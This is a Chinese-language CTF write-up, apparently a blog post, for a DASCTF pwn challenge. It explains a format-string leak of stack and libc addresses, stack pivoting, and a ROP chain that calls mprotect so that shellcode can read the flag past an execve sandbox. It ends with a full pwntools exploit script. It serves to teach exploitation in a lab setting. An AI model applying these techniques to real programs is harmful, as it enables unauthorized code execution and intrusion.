比赛的时候没有做出来,但是思路已经清楚了,主要是卡在了调试的某一步。
![](https://i-blog.csdnimg.cn/blog_migrate/3d43cd4e264555dfacca78976c32e00b.png)
这是主函数,漏洞也出现在主函数中,可以很清楚的看到,第二次输入可以溢出到ret地址处,这样就相当于已经给了思路了,就是栈迁移。那么栈迁移肯定需要一个泄露地址和伪造栈的输入,所以leak是在第一个输入,用格式化字符串来泄露。而布栈就和栈迁移一起执行了。
第一步先泄露栈地址
![](https://i-blog.csdnimg.cn/blog_migrate/9efb764a58aa795d8e3847e730ba0caa.png)
![](https://i-blog.csdnimg.cn/blog_migrate/55dff21dfa502826227f529b12292a87.png)
泄露上述两个地址
p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))
libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120
这样就知道了栈地址和libc地址。
接下来就是如何得到flag了,因为execve被沙箱过滤了
![](https://i-blog.csdnimg.cn/blog_migrate/c6a19024547dd224b68923bf956ac098.png)
所以想到有两种方法:1.用open函数直接打开flag 2.用mprotect函数改权限,执行shellcode打开flag。
我们复现的时候用第二种方法。
首先,执行mprotect函数,将某可读可写地址改为可执行的地址
payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret)
payload += p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect) + p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x100) + p64(read_addr)
payload += p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)
然后继续用read函数在该地址写入shellcode,布的栈是这样的。
最后就是读入shellcode执行就好了
以下是完整exp:
from LibcSearcher import *
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('/home/hacker/Desktop/pwn' )
libc=ELF('/home/hacker/Desktop/libc-2.27.so' )
#p=remote("node4.buuoj.cn",27153)
p=process('/home/hacker/Desktop/pwn' )
pop_rdi_ret = 0x401413
leave_ret = 0x4013A2
puts_got = 0x404028
puts_plt = 0x4010E0
main_addr = 0x4012e3
pop_rsi_r15_ret = 0x0000000000401411
gdb.attach(p)
pause()
p.sendlineafter("Welcome to DASCTF message board, please leave your name:","%p%31$p")
p.recvuntil("Hello, ")
stack_addr = int(p.recv(14),16) + 0x10 -0x8
print(hex(stack_addr))
libc_addr = int(p.recv(14),16) - 0x21c87
print(hex(libc_addr))
mprotect = 0x11b7e0 + libc_addr
pop_rdx_ret = 0x1b96 + libc_addr
system_addr = 0x4f420 + libc_addr
read_addr = 0x401120
payload = p64(pop_rdi_ret) + p64(0x404000) + p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0) + p64(pop_rdx_ret) + p64(7) + p64(mprotect) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(0x404000) + p64(0) + p64(pop_rdx_ret) + p64(0x100) + p64(read_addr) + p64(0x404000) + 'a'*40 + p64(stack_addr) + p64(leave_ret)
gdb.attach(p)
pause()
p.sendafter("Now, please say something to DASCTF:",payload)
p.send(asm(shellcraft.cat("./flag")))
p.interactive()
![](https://i-blog.csdnimg.cn/blog_migrate/5d7b9ecaf3c84c26876c1f664d32d6fc.png)